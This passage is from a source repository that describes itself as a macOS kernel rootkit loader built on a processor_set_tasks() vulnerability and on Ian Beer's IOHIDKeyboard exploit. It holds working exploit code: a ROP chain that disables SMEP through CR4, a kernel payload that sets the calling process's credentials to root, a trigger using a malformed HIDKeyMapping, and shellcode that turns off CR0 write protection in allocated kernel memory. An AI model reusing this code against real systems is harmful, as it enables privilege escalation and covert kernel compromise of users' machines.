*mh = (struct mach_header_64*)buf; 315 | if (mh->magic != MH_MAGIC_64) 316 | { 317 | return 0; 318 | } 319 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 320 | { 321 | return 0; 322 | } 323 | struct load_command *load_cmd = (struct load_command*)(buf + sizeof(struct mach_header_64)); 324 | for (uint32_t i = 0; i < mh->ncmds; i++) 325 | { 326 | if (load_cmd->cmd == LC_SEGMENT_64) 327 | { 328 | struct segment_command_64 *sc = (struct segment_command_64*)load_cmd; 329 | if (strncmp(sc->segname, "__TEXT", 16) == 0) 330 | { 331 | kernel_base = sc->vmaddr; 332 | break; 333 | } 334 | } 335 | load_cmd = (struct load_command*)((char*)load_cmd + load_cmd->cmdsize); 336 | } 337 | if (kernel_base == 0) 338 | { 339 | return NULL; 340 | } 341 | kernel_base += kaslr_slide; 342 | 343 | /* 344 | this stack pivot to rax seems to be reliably present across mavericks versions: 345 | push rax 346 | add [rax], eax 347 | add [rbx+0x41], bl 348 | pop rsp 349 | pop r14 350 | pop r15 351 | pop rbp 352 | ret 353 | */ 354 | uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e}; 355 | uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes)); 356 | uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf); 357 | // printf("offset of pivot gadget: %p\n", pivot_gadget_offset); 358 | pivot = kernel_base + pivot_gadget_offset; 359 | 360 | /* 361 | mov rax, cr4 362 | mov [rcx], rax 363 | pop rbp 364 | ret 365 | */ 366 | uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3}; 367 | uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes)); 368 | uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf); 369 | // printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset); 370 | mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset; 371 | 372 | /* 373 | mov cr4, rax 374 | pop rbp 375 | ret 376 | */ 377 | uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3}; 378 | uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes)); 379 | uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf); 380 | // printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset); 381 | mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset; 382 | 383 | /* 384 | pop rcx 385 | ret 386 | */ 387 | uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3}; 388 | uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes)); 389 | uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf); 390 | // printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset); 391 | pop_rcx = kernel_base + pop_rcx_gadget_offset; 392 | 393 | 394 | /* 395 | xor rax, rcx 396 | pop rbp 397 | ret 398 | */ 399 | uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3}; 400 | uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes)); 401 | uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf); 402 | // printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset); 403 | xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset; 404 | 405 | /* need this to jump over the vtable index which will be called: 406 | pop r15 407 | pop rbp 408 | ret 409 | */ 410 | uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3}; 411 | uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes)); 412 | uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf); 413 | // printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset); 414 | pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset; 415 | 416 | munmap(buf, buf_len); 417 | close(fd); 418 | 419 | void* writable_scratch = malloc(8); 420 | memset(writable_scratch, 0, 8); 421 | 422 | uint64_t rop_stack[] = { 423 | 0, //pop r14 424 | 0, //pop r15 425 | 0, //pop rbp +10 426 | pop_pop_ret, 427 | 0, //+20 428 | pivot, //+28 429 | pop_rcx, 430 | (uint64_t)writable_scratch, 431 | mov_rax_cr4, 432 | 0, //pop rbp 433 | pop_rcx, 434 | 0x00100000, //SMEP bit in cr4 435 | xor_rax_rcx, //flip it 436 | 0, //pop rbp 437 | mov_cr4_rax, //write back to cr4 438 | 0, //pop rbp 439 | payload //SMEP is now disabled so ret to payload in userspace 440 | }; 441 | 442 | uint64_t* r = malloc(sizeof(rop_stack)); 443 | memcpy(r, rop_stack, sizeof(rop_stack)); 444 | *len = sizeof(rop_stack); 445 | return r; 446 | } 447 | 448 | // need to drop this IOLock: 449 | // IOLockLock( _deviceLock); 450 | // at code exec time rbx points to this, and this->_delegate->deviceLock is that lock 451 | // so need to call IOLockUnlock(rbx->_delegate->deviceLock) 452 | void 453 | kernel_payload(void) 454 | { 455 | uint8_t* this; 456 | //__asm__("int $3"); 457 | __asm__("movq %%rbx, %0" : "=r"(this) : :); 458 | //this now points to the IOHIKeyboardMapper 459 | uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10)); 460 | void* _device_lock = *((void**)(IOHIKeyboard+0x88)); 461 | IOLockUnlock(_device_lock); 462 | 463 | // real kernel payload goes here: 464 | // KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0); 465 | // thread_exception_return(); 466 | 467 | // get root: 468 | uint64_t ucred_offset = find_ucred_offset(); 469 | void* old_cred = kauth_cred_get(); 470 | void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0); 471 | uint8_t* proc = current_proc(); 472 | *((void**)(proc+ucred_offset)) = new_cred; 473 | thread_exception_return(); 474 | } 475 | 476 | void 477 | trigger(void* vtable, size_t vtable_len, const char *argv[]) 478 | { 479 | kern_return_t err; 480 | 481 | CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard"); 482 | if(!matching){ 483 | ERROR_MSG("Unable to create service matching dictionary"); 484 | return; 485 | } 486 | 487 | io_iterator_t iterator; 488 | err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); 489 | if (err != KERN_SUCCESS){ 490 | ERROR_MSG("No matches"); 491 | return; 492 | } 493 | 494 | io_service_t service = IOIteratorNext(iterator); 495 | 496 | if (service == IO_OBJECT_NULL){ 497 | ERROR_MSG("Unable to find service"); 498 | return; 499 | } 500 | 501 | char* bad_mapping = malloc(0x10000); 502 | memset(bad_mapping, 0, 0x10000); 503 | 504 | uint8_t bad_header[] = { 505 | 0x00, 0x01, // nmd.shorts = 1 506 | 0x00, 0x00, // numMods = 0 507 | 0x00, 0x00, // numDefs = 0 508 | 0x00, 0x90, // numSeqs = 0x90 509 | }; 510 | 511 | memcpy(bad_mapping, bad_header, sizeof(bad_header)); 512 | 513 | uint8_t bad_seq[] = { 514 | 0x00, 0x02, // len 515 | 0x00, 0x78, 0x56, 0x00, // first entry 516 | 0x00, 0x00, 0x00, 0x00, // second entry 517 | 0xff, 0xff, // numMods 518 | }; 519 | 520 | memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq)); 521 | 522 | //need to overallocate and touch the pages since this will be the stack: 523 | mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000; 524 | mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); 525 | 526 | memset(addr, 0, 0x20*0x1000); 527 | 528 | memcpy((void*)0x5678000200, vtable, vtable_len); 529 | /* 530 | uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28); 531 | *vtable_entry = 0x123456789abcdef0; // call this address in ring0 532 | */ 533 | 534 | CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000); 535 | 536 | err = IORegistryEntrySetCFProperty( 537 | service, 538 | CFSTR("HIDKeyMapping"), 539 | data); 540 | 541 | OUTPUT_MSG("\n-----[ Ready to reexecute as r00t ]-----"); 542 | OUTPUT_MSG("Greetings to Ia Beer for his mad bug killing skills!"); 543 | OUTPUT_MSG("Say thanks to Apple for leaving you vulnerable :-)"); 544 | char *envp[] = {NULL}; 545 | /* we don't want to loop if we keep passing -x argument */ 546 | char *argv2[3] = { (char*)argv[0], (char*)argv[1], NULL }; 547 | 548 | execve(argv2[0], argv2, envp); 549 | } 550 | -------------------------------------------------------------------------------- /diagnostic_service/exploit.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * exploit.c 25 | * This is Ian Beer's exploit that works on Mavericks but patched in Yosemite 26 | * https://code.google.com/p/google-security-research/issues/detail?id=126&can=1 27 | * 28 | * Redistribution and use in source and binary forms, with or without 29 | * modification, are permitted provided that the following conditions 30 | * are met: 31 | * 1. Redistributions of source code must retain the above copyright 32 | * notice, this list of conditions and the following disclaimer. 33 | * 2. Redistributions in binary form must reproduce the above copyright 34 | * notice, this list of conditions and the following disclaimer in the 35 | * documentation and/or other materials provided with the distribution. 36 | * 3. The name of the author may not be used to endorse or promote products 37 | * derived from this software without specific prior written permission. 38 | * 39 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 40 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 41 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 42 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 43 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 44 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 45 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 46 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 47 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 48 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 49 | * 50 | */ 51 | 52 | #ifndef __diagnostic_service__exploit__ 53 | #define __diagnostic_service__exploit__ 54 | 55 | #include 56 | 57 | #include "structures.h" 58 | 59 | int get_me_r00t(uint8_t *kernel_buffer, struct kernel_info *kinfo, const char *argv[]); 60 | 61 | #endif /* defined(__diagnostic_service__exploit__) */ 62 | -------------------------------------------------------------------------------- /diagnostic_service/kernel_code_exec.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * kernel_code_exec.c 25 | * Functions related to install kernel code snippets 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #include "kernel_code_exec.h" 52 | 53 | #include 54 | #include 55 | #include 56 | 57 | #include "logging.h" 58 | #include "utils.h" 59 | 60 | /* allocate kernel memory and install shellcode to disable cr0 protection 61 | * the shellcode can then be executed from a TrustedBSD hook 62 | * after that we can finally write to cr0 protected areas (kernel code, sysent, etc) 63 | */ 64 | mach_vm_address_t 65 | install_disable_cr0_shellcode(mach_port_t kernel_port) 66 | { 67 | unsigned char shellcode[] = 68 | "\x0F\x20\xC0" // mov rax, cr0 69 | "\x48\x25\xFF\xFF\xFE\xFF" // and rax, 0FFFFFFFFFFFEFFFFh 70 | "\x0F\x22\xC0" // mov cr0, rax 71 | "\x48\x31\xC0" // xor rax,rax 72 | "\xC3"; // ret 73 | 74 | mach_vm_address_t shellcode_addr = 0; 75 | 76 | kern_return_t ret = alloc_and_write_exec_kmem(kernel_port, (void*)shellcode, sizeof(shellcode), &shellcode_addr); 77 | if (ret != KERN_SUCCESS) 78 | { 79 | ERROR_MSG("Failed to install disable cr0 shellcode"); 80 | return 0; 81 | } 82 | 83 | DEBUG_MSG("Allocated disable cr0 shellcode at kernel address 0x%llx", shellcode_addr); 84 | DEBUG_MSG("Disable cr0 shellcode is copied and made executable"); 85 | return shellcode_addr; 86 | } 87 | 88 | mach_vm_address_t 89 | install_enable_cr0_shellcode(mach_port_t kernel_port) 90 | { 91 | /* XXX: FIXME */ 92 | unsigned char shellcode[] = 93 | "\x0F\x20\xC0" // mov rax, cr0 94 | "\x48\x25\xFF\xFF\xFE\xFF" // and rax, 0FFFFFFFFFFFEFFFFh 95 | "\x0F\x22\xC0" // mov cr0, rax 96 | "\x48\x31\xC0" // xor rax,rax 97 | "\xC3"; // ret 98 | 99 | mach_vm_address_t shellcode_addr = 0; 100 | 101 | kern_return_t ret = alloc_and_write_exec_kmem(kernel_port, (void*)shellcode, sizeof(shellcode), &shellcode_addr); 102 | if (ret != KERN_SUCCESS) 103 | { 104 | ERROR_MSG("Failed to install enable cr0 shellcode"); 105 | return 0; 106 | } 107 | 108 | DEBUG_MSG("Allocated enable cr0 shellcode at kernel address 0x%llx", shellcode_addr); 109 | DEBUG_MSG("Enable cr0 shellcode is copied and made executable"); 110 | return shellcode_addr; 111 | } 112 | -------------------------------------------------------------------------------- /diagnostic_service/kernel_code_exec.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * kernel_code_exec.h 25 | * Functions related to install kernel code snippets 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_kernel_code_exec_h 52 | #define diagnostic_service_kernel_code_exec_h 53 | 54 | #include 55 | #include 56 | 57 | mach_vm_address_t install_disable_cr0_shellcode(mach_port_t kernel_port); 58 | mach_vm_address_t install_enable_cr0_shellcode(mach_port_t kernel_port); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /diagnostic_service/kernel_symbols.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * kernel_symbols.c 25 | * Functions related to solve kernel symbols 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #include "kernel_symbols.h" 52 | 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | 70 | #include "logging.h" 71 | 72 | #pragma mark Mach-O header and symbol related functions 73 | 74 | /* 75 | * retrieve necessary mach-o header information from the kernel buffer 76 | * results stored in kernel_info structure 77 | */ 78 | kern_return_t 79 | process_kernel_mach_header(const uint8_t *kernel_buffer, struct kernel_info *kinfo) 80 | { 81 | if (kernel_buffer == NULL || kinfo == NULL) 82 | { 83 | ERROR_MSG("Invalid arguments."); 84 | return KERN_FAILURE; 85 | } 86 | 87 | struct mach_header_64 *mh = (struct mach_header_64*)kernel_buffer; 88 | /* only support for 64 bits kernels */ 89 | if (mh->magic != MH_MAGIC_64) 90 | { 91 | return KERN_FAILURE; 92 | } 93 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 94 | { 95 | ERROR_MSG("Invalid nr of commands or size."); 96 | return KERN_FAILURE; 97 | } 98 | 99 | struct load_command *load_cmd = NULL; 100 | // point to the first load command 101 | char *load_cmd_addr = (char*)kernel_buffer + sizeof(struct mach_header_64); 102 | // iterate over all load cmds and retrieve required info to solve symbols 103 | // __LINKEDIT location and symbol/string table location 104 | int found_linkedit = 0; 105 | int found_symtab = 0; 106 | 107 | for (uint32_t i = 0; i < mh->ncmds; i++) 108 | { 109 | load_cmd = (struct load_command*)load_cmd_addr; 110 | if (load_cmd->cmd == LC_SEGMENT_64) 111 | { 112 | struct segment_command_64 *seg_cmd = (struct segment_command_64*)load_cmd; 113 | if (strncmp(seg_cmd->segname, "__LINKEDIT", 16) == 0) 114 | { 115 | kinfo->linkedit_fileoff = seg_cmd->fileoff; 116 | kinfo->linkedit_size = seg_cmd->filesize; 117 | /* set a pointer to __LINKEDIT location in the kernel buffer */ 118 | kinfo->linkedit_buf = kernel_buffer + kinfo->linkedit_fileoff; 119 | found_linkedit++; 120 | } 121 | } 122 | // table information available at LC_SYMTAB command 123 | else if (load_cmd->cmd == LC_SYMTAB) 124 | { 125 | struct symtab_command *symtab_cmd = (struct symtab_command*)load_cmd; 126 | kinfo->symboltable_fileoff = symtab_cmd->symoff; 127 | kinfo->symboltable_nr_symbols = symtab_cmd->nsyms; 128 | kinfo->stringtable_fileoff = symtab_cmd->stroff; 129 | kinfo->stringtable_size = symtab_cmd->strsize; 130 | found_symtab++; 131 | } 132 | load_cmd_addr += load_cmd->cmdsize; 133 | } 134 | 135 | /* validate if we got all info we need */ 136 | if (found_linkedit == 0 || found_symtab == 0) 137 | { 138 | ERROR_MSG("Failed to find all necessary kernel mach-o header information."); 139 | return KERN_FAILURE; 140 | } 141 | return KERN_SUCCESS; 142 | } 143 | 144 | /* 145 | * function to solve a kernel symbol 146 | */ 147 | mach_vm_address_t 148 | solve_kernel_symbol(struct kernel_info *kinfo, char *symbol_to_solve) 149 | { 150 | struct nlist_64 *nlist = NULL; 151 | 152 | if (kinfo == NULL || kinfo->linkedit_buf == NULL) 153 | { 154 | ERROR_MSG("Invalid arguments."); 155 | return 0; 156 | } 157 | 158 | for (uint32_t i = 0; i < kinfo->symboltable_nr_symbols; i++) 159 | { 160 | // symbols and strings offsets into LINKEDIT 161 | mach_vm_address_t symbol_off = kinfo->symboltable_fileoff - kinfo->linkedit_fileoff; 162 | mach_vm_address_t string_off = kinfo->stringtable_fileoff - kinfo->linkedit_fileoff; 163 | 164 | nlist = (struct nlist_64*)((char*)kinfo->linkedit_buf + symbol_off + i * sizeof(struct nlist_64)); 165 | char *symbol_string = ((char*)kinfo->linkedit_buf + string_off + nlist->n_un.n_strx); 166 | // find if symbol matches 167 | if (strncmp(symbol_to_solve, symbol_string, strlen(symbol_to_solve)) == 0) 168 | { 169 | // DEBUG_MSG("Found kernel symbol %s at %p (without ASLR: %p)", symbol_to_solve, (void*)(nlist->n_value + 